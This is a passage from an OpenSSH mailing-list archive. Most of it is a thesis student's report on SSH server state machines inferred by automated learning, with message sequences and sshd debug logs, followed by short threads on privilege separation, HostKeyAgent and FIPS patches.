> message. Do you mean that method specific messages are accepted before
> KEXINIT? (I can't see how this can happen from looking at the code).

Attached (log1) you find the OpenSSH debug log for a sequence in which
I manually send the sequence "SSH_MSG_KEXDH_INIT; SSH_MSG_KEXDH_INIT;
SSH_MSG_NEWKEYS". A normal key exchange sequence would be
"SSH_MSG_KEXINIT; SSH_MSG_KEXDH_INIT; SSH_MSG_NEWKEYS". Unless there
is an error in my code, it seems that OpenSSH does accept this anyway.
The log states:
> Jan 27 11:19:31 desktop sshd[4066]: debug1: SSH2_MSG_KEXINIT received [preauth]
while it didn't receive a KEXINIT but a KEXDH_INIT.

Same goes for a sequence such as: "SSH_MSG_IGNORE; SSH_MSG_KEXDH_INIT;
SSH_MSG_NEWKEYS". Instead of receiving a KEXINIT, the server receives
an IGNORE but continues with the key exchange anyway.

This only applies to the messages the server receives, it always
correctly sends an KEXINIT upon connection.

> I don't think this is the case, it is true that ssh/sshd
> fail to apply rekeying limits before completion of userauth but I
> think they will respond to KEXINIT messages.

I sent the following message sequence to the server: "SSH_MSG_KEXINIT;
SSH_MSG_KEXDH_INIT; SSH_MSG_NEWKEYS; SSH_MSG_SERVICE_REQUEST;
SSH_MSG_NEWKEYS". It behaves normally up until the point that I
initiate a key re-exchange (last message). The SSH server returns an
SSH_MSG_UNIMPLEMENTED and closes the connection. Log2 gives the debug
output.

The sequence "SSH_MSG_KEXINIT; SSH_MSG_KEXDH_INIT; SSH_MSG_NEWKEYS;
SSH_MSG_SERVICE_REQUEST; SSH_MSG_USERAUTH_REQUEST; SSH_MSG_NEWKEYS;
SSH_MSG_KEXDH_INIT; SSH_MSG_NEWKEYS" performs a kex-exchange,
authentication and another key exchange. This does work as expected.
Log3 gives the debug output.

Again, I can't exclude a programming error on my side, but it seems
that rekeying does not work until after successful user
authentication.

> Not sure what you mean here, but we don't support re-authentication
> (as I understand the term). Do you mean subsequent authentication
> requests after a "partial" authentication success, authentication
> requests after a failed request or something different?
> We certainly shouldn't allow requesting the userauth service after
> userauth has completed.

Forgive my ambiguity, I meant authentication requests after an earlier
failed authentication request. Debug log gives the answer however, I
tried the other methods with another username. This is apparently not
allowed:
> Jan 27 12:01:07 desktop sshd[4845]: Disconnecting: Change of username or service not allowed: (NOACCESS,ssh-connection) -> (thesis,ssh-connection) [preauth]

> It would be helpful to see debug messages from ssh/sshd for this case
> (well, all cases but this in particular).

I sent the following sequence to the OpenSSH server.

SSH_MSG_KEXINIT;
 (server replies with SSH_MSG_KEXINIT)
SSH_MSG_KEXDH_INIT;
 (server replies with SSH_MSG_KEXDH_REPLY)
SSH_MSG_NEWKEYS;
 (server does not reply)
SSH_MSG_SERVICE_REQUEST;
 (server replies with SSH_MSG_SERVICE_ACCEPT)
SSH_MSG_USERAUTH_REQUEST
 (server replies with SSH_MSG_USERAUTH_SUCCESS and SSH_MSG_GLOBAL_REQUEST)
SSH_MSG_CHANNEL_OPEN
 (server replies with SSH_MSG_CHANNEL_OPEN_CONFIRMATION)

-- Now I do a rekey --
SSH_MSG_KEXINIT;
 (server replies with SSH_MSG_KEXINIT)
SSH_MSG_KEXDH_INIT;
 (server replies with SSH_MSG_KEXDH_REPLY)
SSH_MSG_NEWKEYS;
 (server does not reply)

-- Now I close the channel --

SSH_MSG_CHANNEL_CLOSE
  (server replies with SSH_MSG_CHANNEL_CLOSE and sends an SSH_MSG_DISCONNECT)

The entire debug log can be found in the log4 attachment.

Hope this clarifies everything. I would love to hear your thoughts on
these issues!

Kind regards,

[1] https://drive.google.com/drive/folders/0B6T2_FvFKPIkRGdqVDFtOXNQQWc

On Wed, Jan 27, 2016 at 8:38 AM, Damien Miller <djm at mindrot.org> wrote:
> On Tue, 26 Jan 2016, P. V. wrote:
>
>> Dear all,
>>
>> For my thesis, I've been working on automatic inference of state
>> machines for SSH servers. I ran into a couple of particularities
>> regarding OpenSSH's inferred state machine, and was hoping some of you
>> might be interested. Maybe you can even shed some light on it.
>>
>> Setup: I'm using LearnLib's (Java) version of the L* learning
>> algorithm [1] to come up with sequences of textual representations of
>> SSH messages (such as "DEBUG; DISCONNECT"). An altered version of
>> Paramiko (Python) receives those queries and translates them to actual
>> SSH traffic, which is sent to OpenSSH. Responses are fed to the
>> learning algorithm, resulting in a state machine.
>
>> The PDFs of inferred state machines, as well as the used messages, can
>> be found online [2]. I've queried the the transport layer, user
>> authentication layer and connection layer separately.
>>
>> Now for my questions. Assuming my results are correct, it seems that:
>> 1) OpenSSH is extremely liberal when it comes to exchanging kexinit
>> messsages (openssh-localhost-L1.pdf). It allows entering a key
>> exchange without receiving a proper kexinit message at all. Since this
>> message is required to exchange parameters, does this imply that
>> OpenSSH will guess those when no kexinit is received?
>
> I'm not sure what you mean by "entering a key exchange without receiving
> a proper kexinit message" because key exchange is initiated by a kexinit
> message. Do you mean that method specific messages are accepted before
> KEXINIT? (I can't see how this can happen from looking at the code).
>
>> 2) OpenSSH does not allow rekeying until after correct user
>> authentication. The RFCs specify otherwise. Is this a deliberate
>> choice?
>
> I don't think this is the case, it is true that ssh/sshd
> fail to apply rekeying limits before completion of userauth but I
> think they will respond to KEXINIT messages.
>
>> 3) OpenSSH shows peculiar behavior in user re-authentication. Some
>> re-authentication methods seem to be disallowed after an unsuccessful
>> authentication attempt. You can see what I mean in
>> openssh-localhost-L2.pdf. Is this intended behavior, a bug, or perhaps
>> an error on my side?
>
> Not sure what you mean here, but we don't support re-authentication
> (as I understand the term). Do you mean subsequent authentication
> requests after a "partial" authentication success, authentication
> requests after a failed request or something different?
>
> We certainly shouldn't allow requesting the userauth service after
> userauth has completed.
>
>> 4) Unlike other tested SSH servers, OpenSSH seems to close the entire
>> connection (rather than close the channel) on a channel-close message
>> in certain conditions. This results in the 'has_commands' and
>> 'has_commands_pty' states in openssh-localhost-L3.pdf. I was wondering
>> why. An error on my side, or intended behavior?
>
> It would be helpful to see debug messages from ssh/sshd for this case
> (well, all cases but this in particular).
>
> -d
-------------- next part --------------
Jan 27 11:19:28 desktop sshd[798]: debug1: Forked child 4066.
Jan 27 11:19:28 desktop sshd[4066]: Set /proc/self/oom_score_adj to 0
Jan 27 11:19:28 desktop sshd[4066]: debug1: rexec start in 5 out 5 newsock 5 pipe 7 sock 8
Jan 27 11:19:28 desktop sshd[4066]: debug1: inetd sockets after dupping: 3, 3
Jan 27 11:19:28 desktop sshd[4066]: Connection from 127.0.0.1 port 45678 on 127.0.0.1 port 22
Jan 27 11:19:28 desktop sshd[4066]: debug1: Client protocol version 2.0; client software version paramiko_1.16.0
Jan 27 11:19:28 desktop sshd[4066]: debug1: no match: paramiko_1.16.0
Jan 27 11:19:28 desktop sshd[4066]: debug1: Enabling compatibility mode for protocol 2.0
Jan 27 11:19:28 desktop sshd[4066]: debug1: Local version string SSH-2.0-OpenSSH_6.9p1 Ubuntu-2ubuntu0.1
Jan 27 11:19:28 desktop sshd[4066]: debug1: permanently_set_uid: 123/65534 [preauth]
Jan 27 11:19:28 desktop sshd[4066]: debug1: list_hostkey_types: ssh-rsa,ssh-dss,ecdsa-sha2-nistp256,ssh-ed25519 [preauth]
Jan 27 11:19:28 desktop sshd[4066]: debug1: SSH2_MSG_KEXINIT sent [preauth]
Jan 27 11:19:31 desktop sshd[4066]: error: Hm, kex protocol error: type 30 seq 0 [preauth]
Jan 27 11:19:31 desktop sshd[4066]: debug1: SSH2_MSG_KEXINIT received [preauth]
Jan 27 11:19:31 desktop sshd[4066]: debug1: kex: client->server aes128-ctr hmac-sha1 none [preauth]
Jan 27 11:19:31 desktop sshd[4066]: debug1: kex: server->client aes128-ctr hmac-sha1 none [preauth]
Jan 27 11:19:31 desktop sshd[4066]: debug1: expecting SSH2_MSG_KEXDH_INIT [preauth]
Jan 27 11:19:33 desktop sshd[4066]: debug1: SSH2_MSG_NEWKEYS sent [preauth]
Jan 27 11:19:33 desktop sshd[4066]: debug1: expecting SSH2_MSG_NEWKEYS [preauth]
Jan 27 11:19:38 desktop sshd[4066]: debug1: SSH2_MSG_NEWKEYS received [preauth]
Jan 27 11:19:38 desktop sshd[4066]: debug1: KEX done [preauth]


-------------- next part --------------
Jan 27 11:30:12 desktop sshd[798]: debug1: Forked child 4368.
Jan 27 11:30:12 desktop sshd[4368]: Set /proc/self/oom_score_adj to 0
Jan 27 11:30:12 desktop sshd[4368]: debug1: rexec start in 5 out 5 newsock 5 pipe 7 sock 8
Jan 27 11:30:12 desktop sshd[4368]: debug1: inetd sockets after dupping: 3, 3
Jan 27 11:30:12 desktop sshd[4368]: Connection from 127.0.0.1 port 45726 on 127.0.0.1 port 22
Jan 27 11:30:12 desktop sshd[4368]: debug1: Client protocol version 2.0; client software version paramiko_1.16.0
Jan 27 11:30:12 desktop sshd[4368]: debug1: no match: paramiko_1.16.0
Jan 27 11:30:12 desktop sshd[4368]: debug1: Enabling compatibility mode for protocol 2.0
Jan 27 11:30:12 desktop sshd[4368]: debug1: Local version string SSH-2.0-OpenSSH_6.9p1 Ubuntu-2ubuntu0.1
Jan 27 11:30:12 desktop sshd[4368]: debug1: permanently_set_uid: 123/65534 [preauth]
Jan 27 11:30:12 desktop sshd[4368]: debug1: list_hostkey_types: ssh-rsa,ssh-dss,ecdsa-sha2-nistp256,ssh-ed25519 [preauth]
Jan 27 11:30:12 desktop sshd[4368]: debug1: SSH2_MSG_KEXINIT sent [preauth]
Jan 27 11:30:17 desktop sshd[4368]: debug1: SSH2_MSG_KEXINIT received [preauth]
Jan 27 11:30:17 desktop sshd[4368]: debug1: kex: client->server aes128-ctr hmac-sha1 none [preauth]
Jan 27 11:30:17 desktop sshd[4368]: debug1: kex: server->client aes128-ctr hmac-sha1 none [preauth]
Jan 27 11:30:17 desktop sshd[4368]: debug1: expecting SSH2_MSG_KEXDH_INIT [preauth]
Jan 27 11:30:21 desktop sshd[4368]: debug1: SSH2_MSG_NEWKEYS sent [preauth]
Jan 27 11:30:21 desktop sshd[4368]: debug1: expecting SSH2_MSG_NEWKEYS [preauth]
Jan 27 11:30:25 desktop sshd[4368]: debug1: SSH2_MSG_NEWKEYS received [preauth]
Jan 27 11:30:25 desktop sshd[4368]: debug1: KEX done [preauth]
Jan 27 11:30:37 desktop sshd[4368]: dispatch_protocol_error: type 20 seq 4 [preauth]


-------------- next part --------------
Jan 27 11:35:38 desktop sshd[798]: debug1: Forked child 4459.
Jan 27 11:35:38 desktop sshd[4459]: Set /proc/self/oom_score_adj to 0
Jan 27 11:35:38 desktop sshd[4459]: debug1: rexec start in 5 out 5 newsock 5 pipe 7 sock 8
Jan 27 11:35:38 desktop sshd[4459]: debug1: inetd sockets after dupping: 3, 3
Jan 27 11:35:38 desktop sshd[4459]: Connection from 127.0.0.1 port 45744 on 127.0.0.1 port 22
Jan 27 11:35:38 desktop sshd[4459]: debug1: Client protocol version 2.0; client software version paramiko_1.16.0
Jan 27 11:35:38 desktop sshd[4459]: debug1: no match: paramiko_1.16.0
Jan 27 11:35:38 desktop sshd[4459]: debug1: Enabling compatibility mode for protocol 2.0
Jan 27 11:35:38 desktop sshd[4459]: debug1: Local version string SSH-2.0-OpenSSH_6.9p1 Ubuntu-2ubuntu0.1
Jan 27 11:35:38 desktop sshd[4459]: debug1: permanently_set_uid: 123/65534 [preauth]
Jan 27 11:35:38 desktop sshd[4459]: debug1: list_hostkey_types: ssh-rsa,ssh-dss,ecdsa-sha2-nistp256,ssh-ed25519 [preauth]
Jan 27 11:35:38 desktop sshd[4459]: debug1: SSH2_MSG_KEXINIT sent [preauth]
Jan 27 11:35:40 desktop sshd[4459]: debug1: SSH2_MSG_KEXINIT received [preauth]
Jan 27 11:35:40 desktop sshd[4459]: debug1: kex: client->server aes128-ctr hmac-sha1 none [preauth]
Jan 27 11:35:40 desktop sshd[4459]: debug1: kex: server->client aes128-ctr hmac-sha1 none [preauth]
Jan 27 11:35:40 desktop sshd[4459]: debug1: expecting SSH2_MSG_KEXDH_INIT [preauth]
Jan 27 11:35:44 desktop sshd[4459]: debug1: SSH2_MSG_NEWKEYS sent [preauth]
Jan 27 11:35:44 desktop sshd[4459]: debug1: expecting SSH2_MSG_NEWKEYS [preauth]
Jan 27 11:35:48 desktop sshd[4459]: debug1: SSH2_MSG_NEWKEYS received [preauth]
Jan 27 11:35:48 desktop sshd[4459]: debug1: KEX done [preauth]
Jan 27 11:36:06 desktop sshd[4459]: debug1: userauth-request for user thesis service ssh-connection method password [preauth]
Jan 27 11:36:06 desktop sshd[4459]: debug1: attempt 0 failures 0 [preauth]
Jan 27 11:36:06 desktop sshd[4459]: debug1: PAM: initializing for "thesis"
Jan 27 11:36:06 desktop sshd[4459]: debug1: PAM: setting PAM_RHOST to "127.0.0.1"
Jan 27 11:36:06 desktop sshd[4459]: debug1: PAM: setting PAM_TTY to "ssh"
Jan 27 11:36:06 desktop sshd[4459]: debug1: PAM: password authentication accepted for thesis
Jan 27 11:36:06 desktop sshd[4459]: debug1: do_pam_account: called
Jan 27 11:36:06 desktop sshd[4459]: Accepted password for thesis from 127.0.0.1 port 45744 ssh2
Jan 27 11:36:06 desktop sshd[4459]: debug1: monitor_child_preauth: thesis has been authenticated by privileged process
Jan 27 11:36:06 desktop sshd[4459]: debug1: monitor_read_log: child log fd closed
Jan 27 11:36:06 desktop sshd[4459]: debug1: PAM: establishing credentials
Jan 27 11:36:06 desktop sshd[4459]: pam_unix(sshd:session): session opened for user thesis by (uid=0)
Jan 27 11:36:06 desktop systemd: pam_unix(systemd-user:session): session opened for user thesis by (uid=0)
Jan 27 11:36:06 desktop systemd-logind[686]: New session 2 of user thesis.
Jan 27 11:36:06 desktop sshd[4459]: User child is on pid 4522
Jan 27 11:36:06 desktop sshd[4522]: debug1: SELinux support disabled
Jan 27 11:36:06 desktop sshd[4522]: debug1: PAM: establishing credentials
Jan 27 11:36:06 desktop sshd[4522]: debug1: permanently_set_uid: 1002/1002
Jan 27 11:36:06 desktop sshd[4522]: debug1: ssh_packet_set_postauth: called
Jan 27 11:36:06 desktop sshd[4522]: debug1: Entering interactive session for SSH2.
Jan 27 11:36:06 desktop sshd[4522]: debug1: server_init_dispatch_20
Jan 27 11:36:16 desktop sshd[4522]: debug1: SSH2_MSG_KEXINIT received
Jan 27 11:36:16 desktop sshd[4522]: debug1: SSH2_MSG_KEXINIT sent
Jan 27 11:36:16 desktop sshd[4522]: debug1: kex: client->server aes128-ctr hmac-sha1 none
Jan 27 11:36:16 desktop sshd[4522]: debug1: kex: server->client aes128-ctr hmac-sha1 none
Jan 27 11:36:16 desktop sshd[4522]: debug1: expecting SSH2_MSG_KEXDH_INIT
Jan 27 11:36:24 desktop sshd[4522]: debug1: set_newkeys: rekeying
Jan 27 11:36:24 desktop sshd[4522]: debug1: SSH2_MSG_NEWKEYS sent
Jan 27 11:36:24 desktop sshd[4522]: debug1: expecting SSH2_MSG_NEWKEYS
Jan 27 11:36:27 desktop sshd[4522]: debug1: set_newkeys: rekeying
Jan 27 11:36:27 desktop sshd[4522]: debug1: SSH2_MSG_NEWKEYS received


-------------- next part --------------
Jan 27 11:46:13 desktop sshd[798]: debug1: Forked child 4631.
Jan 27 11:46:13 desktop sshd[4631]: Set /proc/self/oom_score_adj to 0
Jan 27 11:46:13 desktop sshd[4631]: debug1: rexec start in 5 out 5 newsock 5 pipe 7 sock 8
Jan 27 11:46:13 desktop sshd[4631]: debug1: inetd sockets after dupping: 3, 3
Jan 27 11:46:13 desktop sshd[4631]: Connection from 127.0.0.1 port 45758 on 127.0.0.1 port 22
Jan 27 11:46:13 desktop sshd[4631]: debug1: Client protocol version 2.0; client software version paramiko_1.16.0
Jan 27 11:46:13 desktop sshd[4631]: debug1: no match: paramiko_1.16.0
Jan 27 11:46:13 desktop sshd[4631]: debug1: Enabling compatibility mode for protocol 2.0
Jan 27 11:46:13 desktop sshd[4631]: debug1: Local version string SSH-2.0-OpenSSH_6.9p1 Ubuntu-2ubuntu0.1
Jan 27 11:46:13 desktop sshd[4631]: debug1: permanently_set_uid: 123/65534 [preauth]
Jan 27 11:46:13 desktop sshd[4631]: debug1: list_hostkey_types: ssh-rsa,ssh-dss,ecdsa-sha2-nistp256,ssh-ed25519 [preauth]
Jan 27 11:46:13 desktop sshd[4631]: debug1: SSH2_MSG_KEXINIT sent [preauth]
Jan 27 11:46:16 desktop sshd[4631]: debug1: SSH2_MSG_KEXINIT received [preauth]
Jan 27 11:46:16 desktop sshd[4631]: debug1: kex: client->server aes128-ctr hmac-sha1 none [preauth]
Jan 27 11:46:16 desktop sshd[4631]: debug1: kex: server->client aes128-ctr hmac-sha1 none [preauth]
Jan 27 11:46:16 desktop sshd[4631]: debug1: expecting SSH2_MSG_KEXDH_INIT [preauth]
Jan 27 11:46:19 desktop sshd[4631]: debug1: SSH2_MSG_NEWKEYS sent [preauth]
Jan 27 11:46:19 desktop sshd[4631]: debug1: expecting SSH2_MSG_NEWKEYS [preauth]
Jan 27 11:46:25 desktop sshd[4631]: debug1: SSH2_MSG_NEWKEYS received [preauth]
Jan 27 11:46:25 desktop sshd[4631]: debug1: KEX done [preauth]
Jan 27 11:46:47 desktop sshd[4631]: debug1: userauth-request for user thesis service ssh-connection method password [preauth]
Jan 27 11:46:47 desktop sshd[4631]: debug1: attempt 0 failures 0 [preauth]
Jan 27 11:46:47 desktop sshd[4631]: debug1: PAM: initializing for "thesis"
Jan 27 11:46:47 desktop sshd[4631]: debug1: PAM: setting PAM_RHOST to "127.0.0.1"
Jan 27 11:46:47 desktop sshd[4631]: debug1: PAM: setting PAM_TTY to "ssh"
Jan 27 11:46:47 desktop sshd[4631]: debug1: PAM: password authentication accepted for thesis
Jan 27 11:46:47 desktop sshd[4631]: debug1: do_pam_account: called
Jan 27 11:46:47 desktop sshd[4631]: Accepted password for thesis from 127.0.0.1 port 45758 ssh2
Jan 27 11:46:47 desktop sshd[4631]: debug1: monitor_child_preauth: thesis has been authenticated by privileged process
Jan 27 11:46:47 desktop sshd[4631]: debug1: monitor_read_log: child log fd closed
Jan 27 11:46:47 desktop sshd[4631]: debug1: PAM: establishing credentials
Jan 27 11:46:47 desktop sshd[4631]: pam_unix(sshd:session): session opened for user thesis by (uid=0)
Jan 27 11:46:47 desktop systemd: pam_unix(systemd-user:session): session opened for user thesis by (uid=0)
Jan 27 11:46:47 desktop systemd-logind[686]: New session 4 of user thesis.
Jan 27 11:46:47 desktop sshd[4631]: User child is on pid 4673
Jan 27 11:46:47 desktop sshd[4673]: debug1: SELinux support disabled
Jan 27 11:46:47 desktop sshd[4673]: debug1: PAM: establishing credentials
Jan 27 11:46:47 desktop sshd[4673]: debug1: permanently_set_uid: 1002/1002
Jan 27 11:46:47 desktop sshd[4673]: debug1: ssh_packet_set_postauth: called
Jan 27 11:46:47 desktop sshd[4673]: debug1: Entering interactive session for SSH2.
Jan 27 11:46:47 desktop sshd[4673]: debug1: server_init_dispatch_20
Jan 27 11:47:02 desktop sshd[4673]: debug1: server_input_channel_open: ctype session rchan 0 win 2097152 max 32768
Jan 27 11:47:02 desktop sshd[4673]: debug1: input_session_request
Jan 27 11:47:02 desktop sshd[4673]: debug1: channel 0: new [server-session]
Jan 27 11:47:02 desktop sshd[4673]: debug1: session_new: session 0
Jan 27 11:47:02 desktop sshd[4673]: debug1: session_open: channel 0
Jan 27 11:47:02 desktop sshd[4673]: debug1: session_open: session 0: link with channel 0
Jan 27 11:47:02 desktop sshd[4673]: debug1: server_input_channel_open: confirm session
Jan 27 11:47:19 desktop sshd[4673]: debug1: SSH2_MSG_KEXINIT received
Jan 27 11:47:19 desktop sshd[4673]: debug1: SSH2_MSG_KEXINIT sent
Jan 27 11:47:19 desktop sshd[4673]: debug1: kex: client->server aes128-ctr hmac-sha1 none
Jan 27 11:47:19 desktop sshd[4673]: debug1: kex: server->client aes128-ctr hmac-sha1 none
Jan 27 11:47:19 desktop sshd[4673]: debug1: expecting SSH2_MSG_KEXDH_INIT
Jan 27 11:47:23 desktop sshd[4673]: debug1: set_newkeys: rekeying
Jan 27 11:47:23 desktop sshd[4673]: debug1: SSH2_MSG_NEWKEYS sent
Jan 27 11:47:23 desktop sshd[4673]: debug1: expecting SSH2_MSG_NEWKEYS
Jan 27 11:47:27 desktop sshd[4673]: debug1: set_newkeys: rekeying
Jan 27 11:47:27 desktop sshd[4673]: debug1: SSH2_MSG_NEWKEYS received
Jan 27 11:47:32 desktop sshd[4673]: debug1: session_by_channel: session 0 channel 0
Jan 27 11:47:32 desktop sshd[4673]: debug1: session_close_by_channel: channel 0 child 0
Jan 27 11:47:32 desktop sshd[4673]: debug1: session_close: session 0 pid 0
Jan 27 11:47:32 desktop sshd[4673]: debug1: channel 0: free: server-session, nchannels 1
Jan 27 11:47:32 desktop sshd[4673]: channel_by_id: 0: bad id: channel free
Jan 27 11:47:32 desktop sshd[4673]: Disconnecting: Received oclose for nonexistent channel 0.
Jan 27 11:47:32 desktop sshd[4673]: debug1: do_cleanup
Jan 27 11:47:32 desktop sshd[4631]: debug1: do_cleanup
Jan 27 11:47:32 desktop sshd[4631]: debug1: PAM: cleanup
Jan 27 11:47:32 desktop sshd[4631]: debug1: PAM: closing session
Jan 27 11:47:32 desktop sshd[4631]: pam_unix(sshd:session): session closed for user thesis
Jan 27 11:47:32 desktop sshd[4631]: debug1: PAM: deleting credentials
Jan 27 11:47:32 desktop sshd[4631]: debug1: audit_event: unhandled event 12
Jan 27 11:47:32 desktop systemd-logind[686]: Removed session 4.
Jan 27 11:47:32 desktop systemd: pam_unix(systemd-user:session): session closed for user thesis



From mudongliangabcd at outlook.com  Thu Jan 28 01:39:23 2016
From: mudongliangabcd at outlook.com (mu dongliang)
Date: Wed, 27 Jan 2016 14:39:23 +0000
Subject: monitor-slave model
Message-ID: <SG2PR03MB14230390F7C035426B2FA1E7AFD90@SG2PR03MB1423.apcprd03.prod.outlook.com>

Hello everyone,
    I am a newbie about openssh. I have seen privilege separation mechanism in openssh.
    I did some small experiment in my Debian Jessie. I observed that this privilege separation use monitor-slave model (1:1). I am curious why openssh implements this with monitors-slaves(1:n)!
    I doubt whether the former is suitable. And I think the latter is more like real world.
    What's your opinion about this thought?

    - mudongliang

From igor at mir2.org  Thu Jan 28 08:37:56 2016
From: igor at mir2.org (Igor Bukanov)
Date: Wed, 27 Jan 2016 22:37:56 +0100
Subject: Does sshd need ssh-agent on startup?
Message-ID: <CADd11yWOKJbceiSqf40utD_wKXsZCEGDhJo2V3C+HMXQMuvMFw@mail.gmail.com>

Hello,

I use HostKeyAgent with my sshd from OpenSSH 7.1. I accidentally
discovered that if the agent is not started, then sshd complains:

Could not connect to agent "path-to-socket": No such file or directory
Could not load host key: path-to-dir-with-pubkeys/ssh_host_ed25519_key.pub

However, after that sshd proceeds to start normally. Moreover, when I
start the agent, then clients can connect to the server without any
problems. When I stop the agent, then sshd resets the connection. And
then starting the agent makes clients to connect again.

This behavior suits my setup very well as it means I do not need to
worry about ordering sshd to run after the agent is ready. Still, if
sshd really needs an agent only when a client connects, why it
complains on startup or even tries to get the host keys from it?

Regards, Igor

From keisial at gmail.com  Thu Jan 28 09:27:08 2016
From: keisial at gmail.com (=?ISO-8859-1?Q?=C1ngel_Gonz=E1lez?=)
Date: Wed, 27 Jan 2016 23:27:08 +0100
Subject: monitor-slave model
In-Reply-To: <SG2PR03MB14230390F7C035426B2FA1E7AFD90@SG2PR03MB1423.apcprd03.prod.outlook.com>
References: <SG2PR03MB14230390F7C035426B2FA1E7AFD90@SG2PR03MB1423.apcprd03.prod.outlook.com>
Message-ID: <56A9443C.8000405@gmail.com>

On 27/01/16 15:39, mu dongliang wrote:
> Hello everyone,
>      I am a newbie about openssh. I have seen privilege separation mechanism in openssh.
>      I did some small experiment in my Debian Jessie. I observed that this privilege separation use monitor-slave model (1:1). I am curious why openssh implements this with monitors-slaves(1:n)!
>      I doubt whether the former is suitable. And I think the latter is more like real world.
>      What's your opinion about this thought?
>
>      - mudongliang

Hello Mudongliang

Have you already read http://www.citi.umich.edu/u/provos/ssh/privsep.html ?

I'm not able to answer you though, as I have trouble understanding you. 
You seem to contradict yourself mentioning 1:1 and 1:n, so in the end 
it's not clear what you are asking. :(
Maybe try to clarify it and make a more concrete question? Also, it 
would be benefitial if you expanded a bit on why you consider the 
current implementation would be unsuitable.

Regards



From security.veteran at gmail.com  Thu Jan 28 13:12:04 2016
From: security.veteran at gmail.com (security veteran)
Date: Wed, 27 Jan 2016 18:12:04 -0800
Subject: OpenSSH FIPS 140-2 support using OpenSSL FIPS modules?
In-Reply-To: <5666DAD8.3040203@redhat.com>
References: <CAC5owtF8=QPRvoSD9c=3eQ33N2oNB8PejWU-8qX2Kei3L4sX8A@mail.gmail.com>
 <5661867C.7000001@redhat.com>
 <CAC5owtGwU0dLqcfzA+O-qwusm9gEeY+RaxaVJECYmQbV0hR+rA@mail.gmail.com>
 <CAC5owtHcku4bP3f-V=D_LNi7yCnh+VgGEQDvrbrJKmMM7TUF7g@mail.gmail.com>
 <5665AB8B.7030803@redhat.com>
 <CAC5owtGhvHM5M5hMdsdxBZXtCn7bJXvEzsSwHjE40pmGEzMOrw@mail.gmail.com>
 <5666DAD8.3040203@redhat.com>
Message-ID: <CAC5owtG=w6Dd8QJNy7Pf1C3zbqfWiFn5dB7HJZeQ5cctH-PEHg@mail.gmail.com>

Hi Jakub,

I have one question regarding the FIPS patch in
http://pkgs.fedoraproject.org/cgit/openssh.git/tree/openssh-6.7p1-fips.patch
:

I assume somewhere from within the OpenSSH code it should invoke
FIPS_set_mode API, but all I saw was FIPS_mode().
Does FIPS_mode() serve the same purposes as  FIPS_set_mode()?

Also the patch is for OpenSSH 7.0. Is there a patch for OpenSSH 6.6?

Thanks.

On Tue, Dec 8, 2015 at 5:27 AM, Jakub Jelen <jjelen at redhat.com> wrote:

> On 12/07/2015 09:21 PM, security veteran wrote:
>
>> Thanks Jakub.
>>
>> If I want to build the FIPS supported OpenSSH, do I just need to apply
>> this
>> one single patch
>>
>> http://pkgs.fedoraproject.org/cgit/openssh.git/tree/openssh-6.7p1-fips.patch
>>
>> to the vanilla OpenSSH source code?
>>
>> I saw there are few other patches for OpenSSH version 6.7p1 under the same
>> folder http://pkgs.fedoraproject.org/cgit/openssh.git/tree/.
>> Do I need these other patches?
>>
> It should be enough to add that one, directly related to FIPS. There were
> other unused patches, which I cleaned up now.
>
> --
> Jakub Jelen
> Associate Software Engineer
> Security Technologies
> Red Hat
>
>

From jjelen at redhat.com  Thu Jan 28 19:12:24 2016
From: jjelen at redhat.com (Jakub Jelen)
Date: Thu, 28 Jan 2016 09:12:24 +0100
Subject: OpenSSH FIPS 140-2 support using OpenSSL FIPS modules?
In-Reply-To: <CAC5owtG=w6Dd8QJNy7Pf1C3zbqfWiFn5dB7HJZeQ5cctH-PEHg@mail.gmail.com>
References: <CAC5owtF8=QPRvoSD9c=3eQ33N2oNB8PejWU-8qX2Kei3L4sX8A@mail.gmail.com>
 <5661867C.7000001@redhat.com>
 <CAC5owtGwU0dLqcfzA+O-qwusm9gEeY+RaxaVJECYmQbV0hR+rA@mail.gmail.com>
 <CAC5owtHcku4bP3f-V=D_LNi7yCnh+VgGEQDvrbrJKmMM7TUF7g@mail.gmail.com>
 <5665AB8B.7030803@redhat.com>
 <CAC5owtGhvHM5M5hMdsdxBZXtCn7bJXvEzsSwHjE40pmGEzMOrw@mail.gmail.com>
 <5666DAD8.3040203@redhat.com>
 <CAC5owtG=w6Dd8QJNy7Pf1C3zbqfWiFn5dB7HJZeQ5cctH-PEHg@mail.gmail.com>
Message-ID: <56A9CD68.5010508@redhat.com>

On 01/28/2016 03:12 AM, security veteran wrote:
> I have one question regarding the FIPS patch in
> http://pkgs.fedoraproject.org/cgit/openssh.git/tree/openssh-6.7p1-fips.patch
> :
>
> I assume somewhere from within the OpenSSH code it should invoke
> FIPS_set_mode API, but all I saw was FIPS_mode().
> Does FIPS_mode() serve the same purposes as  FIPS_set_mode()?
FIPS_mode() is openssl function [1]. As manual page says, it determines 
if the FIPS mode is enabled. The other function FIPS_mode_set() [2] is 
used to modify FIPS status (enables/disables).

Openssh itself should not change the FIPS mode. It should behave 
according to the system setup (FIPS mode should be set up system-wide).
> Also the patch is for OpenSSH 7.0. Is there a patch for OpenSSH 6.6?
You should be able to go back in the git history to 6.6 version or put 
hands on CentOS patches [3], where we use 6.6 version.

[1] https://wiki.openssl.org/index.php/FIPS_mode%28%29
[2] https://wiki.openssl.org/index.php/FIPS_mode_set%28%29
[3] 
https://git.centos.org/blob/rpms!openssh/6745269c7b486c1c096ca27e0c1aa97fe8b03c60/SOURCES!openssh-6.6p1-fips.patch;jsessionid=f8qjnilsd281oo2uwua8fm17

Regards,

-- 
Jakub Jelen
Associate Software Engineer
Security Technologies
Red Hat


From security.veteran at gmail.com  Thu Jan 28 21:25:52 2016
From: security.veteran at gmail.com (security veteran)
Date: Thu, 28 Jan 2016 02:25:52 -0800
Subject: OpenSSH FIPS 140-2 support using OpenSSL FIPS modules?
In-Reply-To: <56A9CD68.5010508@redhat.com>
References: <CAC5owtF8=QPRvoSD9c=3eQ33N2oNB8PejWU-8qX2Kei3L4sX8A@mail.gmail.com>
 <5661867C.7000001@redhat.com>
 <CAC5owtGwU0dLqcfzA+O-qwusm9gEeY+RaxaVJECYmQbV0hR+rA@mail.gmail.com>
 <CAC5owtHcku4bP3f-V=D_LNi7yCnh+VgGEQDvrbrJKmMM7TUF7g@mail.gmail.com>
 <5665AB8B.7030803@redhat.com>
 <CAC5owtGhvHM5M5hMdsdxBZXtCn7bJXvEzsSwHjE40pmGEzMOrw@mail.gmail.com>
 <5666DAD8.3040203@redhat.com>
 <CAC5owtG=w6Dd8QJNy7Pf1C3zbqfWiFn5dB7HJZeQ5cctH-PEHg@mail.gmail.com>
 <56A9CD68.5010508@redhat.com>
